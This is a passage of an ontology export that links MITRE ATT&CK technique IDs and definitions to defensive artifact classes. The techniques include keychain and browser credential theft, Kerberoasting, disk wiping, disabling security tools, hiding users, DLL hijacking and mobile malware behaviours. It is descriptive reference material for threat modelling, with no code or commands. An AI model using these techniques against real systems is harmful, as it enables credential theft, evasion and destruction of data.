  on property: accesses
  some values from: MacOSKeychain
subclass of: T1555

Securityd Memory
type: Class
type: NamedIndividual
accesses: In-memoryPasswordStore
attack-id: T1555.002
definition: An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)
subclass of: Restriction
  on property: accesses
  some values from: In-memoryPasswordStore
subclass of: T1555

Credentials from Web Browsers
type: Class
type: NamedIndividual
accesses: DatabaseFile
attack-id: T1555.003
definition: Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
may-access: In-memoryPasswordStore
may-invoke: ReadFile
subclass of: Restriction
  on property: may-access
  some values from: In-memoryPasswordStore
subclass of: Restriction
  on property: may-invoke
  some values from: ReadFile
subclass of: Restriction
  on property: accesses
  some values from: DatabaseFile
subclass of: T1555

Password Filter DLL
type: Class
type: NamedIndividual
attack-id: T1556.002
creates: SharedLibraryFile
definition: Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.
modifies: SystemConfigurationDatabaseRecord
subclass of: Restriction
  on property: creates
  some values from: SharedLibraryFile
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationDatabaseRecord
subclass of: T1556

LLMNR/NBT-NS Poisoning and SMB Relay
type: Class
type: NamedIndividual
attack-id: T1557.001
definition: By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.
produces: IntranetMulticastNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: IntranetMulticastNetworkTraffic
subclass of: T1557

Kerberoasting
type: Class
type: NamedIndividual
attack-id: T1558.003
definition: Service Provider Name (SPN) scanning is one way to gather hashes, which results in RPC calls conforming to the NSPI protocol.
may-produce: RPCNetworkTraffic
subclass of: Restriction
  on property: may-produce
  some values from: RPCNetworkTraffic
subclass of: T1558

Dynamic Data Exchange
type: Class
attack-id: T1559.002
definition: Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
subclass of: T1559

Disk Content Wipe
type: Class
type: NamedIndividual
attack-id: T1561.001
definition: Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.
may-modify: BootSector
may-modify: Partition
may-modify: PartitionTable
may-modify: Volume
modifies: Block Device
subclass of: Restriction
  on property: modifies
  some values from: Block Device
subclass of: Restriction
  on property: may-modify
  some values from: Partition
subclass of: Restriction
  on property: may-modify
  some values from: PartitionTable
subclass of: Restriction
  on property: may-modify
  some values from: BootSector
subclass of: Restriction
  on property: may-modify
  some values from: Volume
subclass of: T1561

Disk Structure Wipe
type: Class
type: NamedIndividual
attack-id: T1561.002
definition: Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.
may-modify: BootSector
may-modify: PartitionTable
subclass of: Restriction
  on property: may-modify
  some values from: PartitionTable
subclass of: Restriction
  on property: may-modify
  some values from: BootSector
subclass of: T1561

Disable or Modify Tools
type: Class
type: NamedIndividual
attack-id: T1562.001
definition: Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)
disables: OperatingSystemProcess
subclass of: Restriction
  on property: disables
  some values from: OperatingSystemProcess
subclass of: T1562

Impair Command History Logging
type: Class
type: NamedIndividual
attack-id: T1562.003
definition: Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
may-modify: UserInitScript
may-modify: WindowsRegistryKey
modifies: ProcessEnvironmentVariable
subclass of: Restriction
  on property: modifies
  some values from: ProcessEnvironmentVariable
subclass of: Restriction
  on property: may-modify
  some values from: UserInitScript
subclass of: Restriction
  on property: may-modify
  some values from: WindowsRegistryKey
subclass of: T1562

Indicator Blocking
type: Class
attack-id: T1562.006
definition: An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).
subclass of: T1562

SSH Hijacking
type: Class
type: NamedIndividual
accesses: SSHSession
attack-id: T1563.001
definition: Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
subclass of: Restriction
  on property: accesses
  some values from: SSHSession
subclass of: T1563

Hidden Files and Directories
type: Class
type: NamedIndividual
attack-id: T1564.001
definition: Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).
modifies: FileSystemMetadata
subclass of: Restriction
  on property: modifies
  some values from: FileSystemMetadata
subclass of: T1564

Hidden Users
type: Class
type: NamedIndividual
attack-id: T1564.002
definition: Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
modifies: UserInitConfigurationFile
subclass of: Restriction
  on property: modifies
  some values from: UserInitConfigurationFile
subclass of: T1564

Hidden Window
type: Class
type: NamedIndividual
attack-id: T1564.003
definition: Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.
may-modify: PropertyListFile
may-modify: SystemConfigurationDatabase
subclass of: Restriction
  on property: may-modify
  some values from: PropertyListFile
subclass of: Restriction
  on property: may-modify
  some values from: SystemConfigurationDatabase
subclass of: T1564

NTFS File Attributes
type: Class
type: NamedIndividual
attack-id: T1564.004
definition: Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
modifies: FileSystemMetadata
subclass of: Restriction
  on property: modifies
  some values from: FileSystemMetadata
subclass of: T1564

Stored Data Manipulation
type: Class
type: NamedIndividual
attack-id: T1565.001
definition: Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
modifies: File
subclass of: Restriction
  on property: modifies
  some values from: File
subclass of: T1565

Transmitted Data Manipulation
type: Class
type: NamedIndividual
attack-id: T1565.002
definition: Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
may-modify: NetworkTraffic
subclass of: Restriction
  on property: may-modify
  some values from: NetworkTraffic
subclass of: T1565

Runtime Data Manipulation
type: Class
type: NamedIndividual
attack-id: T1565.003
definition: Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
may-modify: ExecutableFile
subclass of: Restriction
  on property: may-modify
  some values from: ExecutableFile
subclass of: T1565

Spearphishing Attachment
type: Class
type: NamedIndividual
attack-id: T1566.001
definition: Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
produces: Email
produces: InboundInternetMailTraffic
subclass of: Restriction
  on property: produces
  some values from: InboundInternetMailTraffic
subclass of: Restriction
  on property: produces
  some values from: Email
subclass of: T1566

Spearphishing Link
type: Class
type: NamedIndividual
attack-id: T1566.002
definition: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
produces: Email
produces: InboundInternetMailTraffic
produces: URL
subclass of: Restriction
  on property: produces
  some values from: Email
subclass of: Restriction
  on property: produces
  some values from: URL
subclass of: Restriction
  on property: produces
  some values from: InboundInternetMailTraffic
subclass of: T1566

Spearphishing via Service
type: Class
type: NamedIndividual
attack-id: T1566.003
definition: Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.
produces: File
produces: URL
subclass of: Restriction
  on property: produces
  some values from: URL
subclass of: Restriction
  on property: produces
  some values from: File
subclass of: T1566

Domain Generation Algorithms
type: Class
attack-id: T1568.002
definition: Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
subclass of: T1568

Launchctl
type: Class
attack-id: T1569.001
definition: Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
subclass of: T1569

Service Execution
type: Class
attack-id: T1569.002
definition: Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).
subclass of: T1569

Non-Standard Port
type: Class
type: NamedIndividual
attack-id: T1571
definition: Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
produces: OutboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: CommandAndControlTechnique

DLL
type: Class
type: NamedIndividual
attack-id: T1574.001
definition: Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.
may-create: SharedLibraryFile
subclass of: Restriction
  on property: may-create
  some values from: SharedLibraryFile
subclass of: T1574

DLL Side-Loading
type: Class
type: NamedIndividual
attack-id: T1574.002
definition: Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
may-create: SharedLibraryFile
may-modify: SharedLibraryFile
comment: This technique has been revoked by T1574.001
subclass of: Restriction
  on property: may-create
  some values from: SharedLibraryFile
subclass of: Restriction
  on property: may-modify
  some values from: SharedLibraryFile
subclass of: T1574
deprecated: true

Dylib Hijacking
type: Class
type: NamedIndividual
attack-id: T1574.004
definition: Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.
may-create: SharedLibraryFile
may-modify: SharedLibraryFile
subclass of: Restriction
  on property: may-modify
  some values from: SharedLibraryFile
subclass of: Restriction
  on property: may-create
  some values from: SharedLibraryFile
subclass of: T1574

Services File Permissions Weakness
type: Class
type: NamedIndividual
attack-id: T1574.010
definition: Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
modifies: ServiceApplication
subclass of: Restriction
  on property: modifies
  some values from: ServiceApplication
subclass of: T1574
alternative label: Service Registry Permissions Weakness

Services Registry Permissions Weakness
type: Class
type: NamedIndividual
attack-id: T1574.011
definition: Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
modifies: SystemConfigurationInitDatabaseRecord
subclass of: Restriction
  on property: modifies
  some values from: SystemConfigurationInitDatabaseRecord
subclass of: T1574

Revert Cloud Instance
type: Class
attack-id: T1578.004
definition: An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.
subclass of: T1578

Network Boundary Bridging
type: Class
attack-id: T1599
definition: Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.
subclass of: DefenseEvasionTechnique

System Location Discovery
type: Class
type: NamedIndividual
accesses: ConfigurationResource
attack-id: T1614
definition: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
subclass of: Restriction
  on property: accesses
  some values from: ConfigurationResource
subclass of: DiscoveryTechnique

Command and Scripting Interpreter - ATTACK Mobile
type: Class
attack-id: T1623
definition: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic [Unix Shell](https://attack.mitre.org/techniques/T1623/001) that can be accessed via the Android Debug Bridge (ADB) or Java’s `Runtime` package.
subclass of: ATTACKMobileExecutionTechnique
preferred label: Command and Scripting Interpreter

Unix Shell - ATTACK Mobile
type: Class
attack-id: T1623.001
definition: Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken.
subclass of: Command and Scripting Interpreter - ATTACK Mobile
preferred label: Unix Shell

Event Triggered Execution - ATTACK Mobile
type: Class
attack-id: T1624
definition: Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.
subclass of: ATTACKMobilePersistenceTechnique
preferred label: Event Triggered Execution

Broadcast Receivers - ATTACK Mobile
type: Class
attack-id: T1624.001
definition: Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.
subclass of: Event Triggered Execution - ATTACK Mobile
preferred label: Broadcast Receivers

Hijack Execution Flow - ATTACK Mobile
type: Class
attack-id: T1625
definition: Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time.
subclass of: ATTACKMobilePersistenceTechnique
preferred label: Hijack Execution Flow

System Runtime API Hijacking - ATTACK Mobile
type: Class
attack-id: T1625.001
definition: Adversaries may execute their own malicious payloads by hijacking the way an operating system runs applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time.
subclass of: Hijack Execution Flow - ATTACK Mobile
preferred label: System Runtime API Hijacking

Abuse Elevation Control Mechanism - ATTACK Mobile
type: Class
attack-id: T1626
definition: Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
subclass of: ATTACKMobilePrivilegeEscalationTechnique
preferred label: Abuse Elevation Control Mechanism

Device Administrator Permissions - ATTACK Mobile
type: Class
attack-id: T1626.001
definition: Adversaries may abuse Android’s device administration API to obtain a higher degree of control over the device. By abusing the API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642), factory resetting the device for [File Deletion](https://attack.mitre.org/techniques/T1630/002) and to delete any traces of the malware, disabling all the device’s cameras, or to make it more difficult to uninstall the app.
subclass of: Abuse Elevation Control Mechanism - ATTACK Mobile
preferred label: Device Administrator Permissions

Execution Guardrails - ATTACK Mobile
type: Class
attack-id: T1627
definition: Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.(Citation: SWB Exodus March 2019)
subclass of: ATTACKMobileDefenseEvasionTechnique
preferred label: Execution Guardrails

Geofencing - ATTACK Mobile
type: Class
attack-id: T1627.001
definition: Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)
subclass of: Execution Guardrails - ATTACK Mobile
preferred label: Geofencing

Suppress Application Icon - ATTACK Mobile
type: Class
attack-id: T1628.001
definition: A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.
subclass of: T1628
preferred label: Suppress Application Icon

User Evasion - ATTACK Mobile
type: Class
attack-id: T1628.002
definition: Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device.
subclass of: T1628
preferred label: User Evasion

Device Lockout - ATTACK Mobile
type: Class
attack-id: T1629.002
definition: An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow()`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.(Citation: Microsoft MalLockerB)(Citation: Talos GPlayed)(Citation: securelist rotexy 2018)
subclass of: T1629
preferred label: Device Lockout

Uninstall Malicious Application - ATTACK Mobile
type: Class
attack-id: T1630.001
definition: Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:
subclass of: T1630
preferred label: Uninstall Malicious Application

File Deletion - ATTACK Mobile
type: Class
attack-id: T1630.002
definition: Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.(Citation: Android DevicePolicyManager 2019)
subclass of: T1630
preferred label: File Deletion

Disguise Root/Jailbreak Indicators - ATTACK Mobile
type: Class
attack-id: T1630.003
definition: An adversary could use knowledge of the techniques used by security software to evade detection.(Citation: Brodie)(Citation: Tan) For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.(Citation: Rastogi)
subclass of: T1630
preferred label: Disguise Root/Jailbreak Indicators

Process Injection - ATTACK Mobile
type: Class
attack-id: T1631
definition: Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
subclass of: ATTACKMobileDefenseEvasionTechnique
subclass of: ATTACKMobilePrivilegeEscalationTechnique
preferred label: Process Injection

Ptrace System Calls - ATTACK Mobile
type: Class
attack-id: T1631.001
definition: Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
subclass of: Process Injection - ATTACK Mobile
preferred label: Ptrace System Calls

Subvert Trust Controls - ATTACK Mobile
type: Class
attack-id: T1632
definition: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert.
subclass of: ATTACKMobileDefenseEvasionTechnique
preferred label: Subvert Trust Controls

Code Signing Policy Modification - ATTACK Mobile
type: Class
attack-id: T1632.001
definition: Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device.
subclass of: Subvert Trust Controls - ATTACK Mobile
preferred label: Code Signing Policy Modification

Virtualization/Sandbox Evasion - ATTACK Mobile
type: Class
attack-id: T1633
definition: Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) during automated discovery to shape follow-on behaviors.
subclass of: ATTACKMobileDefenseEvasionTechnique
preferred label: Virtualization/Sandbox Evasion

System Checks - ATTACK Mobile
type: Class
attack-id: T1633.001
definition: Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads.
subclass of: Virtualization/Sandbox Evasion - ATTACK Mobile
preferred label: System Checks

Credentials from Password Store - ATTACK Mobile
type: Class
attack-id: T1634
definition: Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users to manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.
subclass of: ATTACKMobileCredentialAccessTechnique
preferred label: Credentials from Password Store

Keychain - ATTACK Mobile
type: Class
attack-id: T1634.001
definition: Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.
subclass of: Credentials from Password Store - ATTACK Mobile
preferred label: Keychain

Steal Application Access Token - ATTACK Mobile
type: Class
attack-id: T1635
definition: Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system “Open With” dialogue.
subclass of: ATTACKMobileCredentialAccessTechnique
preferred label: Steal Application Access Token

URI Hijacking - ATTACK Mobile
type: Class
attack-id: T1635.001
definition: Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.
subclass of: Steal Application Access Token - ATTACK Mobile
preferred label: URI Hijacking

Calendar Entries - ATTACK Mobile
type: Class
attack-id: T1636.001
definition: Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the `EventKit` framework.
subclass of: T1636
preferred label: Calendar Entries

Call Log - ATTACK Mobile
type: Class
attack-id: T1636.002
definition: Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log.
subclass of: T1636
preferred label: Call Log

Contact List - ATTACK Mobile
type: Class
attack-id: T1636.003
definition: Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the `Contacts` framework.
subclass of: T1636
preferred label: Contact List

SMS Messages - ATTACK Mobile
type: Class
attack-id: T1636.004
definition: Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages.
subclass of: T1636
preferred label: SMS Messages

Dynamic Resolution - ATTACK Mobile
type: Class
attack-id: T1637
definition: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.
subclass of: ATTACKMobileCommandAndControlTechnique
preferred label: Dynamic Resolution

Domain Generation Algorithms - ATTACK Mobile
type: Class
attack-id: T1637.001
definition: Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1637/001) (DGAs) to procedurally generate domain names for uses such as command and control communication or malicious application distribution.(Citation: securelist rotexy 2018)
subclass of: Dynamic Resolution - ATTACK Mobile
preferred label: Domain Generation Algorithms

Adversary-in-the-Middle - ATTACK Mobile
type: Class
attack-id: T1638
definition: Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642).
subclass of: ATTACKMobileCollectionTechnique
preferred label: Adversary-in-the-Middle

Exfiltration Over Alternative Protocol - ATTACK Mobile
type: Class
attack-id: T1639
definition: Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
subclass of: ATTACKMobileExfiltrationTechnique
preferred label: Exfiltration Over Alternative Protocol

Data Manipulation - ATTACK Mobile
type: Class
attack-id: T1641
definition: Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
subclass of: ATTACKMobileImpactTechnique
preferred label: Data Manipulation

Transmitted Data Manipulation - ATTACK Mobile
type: Class
attack-id: T1641.001
definition: Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
subclass of: Data Manipulation - ATTACK Mobile
preferred label: Transmitted Data Manipulation

Out of Band Data - ATTACK Mobile
type: Class
attack-id: T1644
definition: Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth.
subclass of: ATTACKMobileCommandAndControlTechnique
preferred label: Out of Band Data

Plist File Modification
type: Class
attack-id: T1647
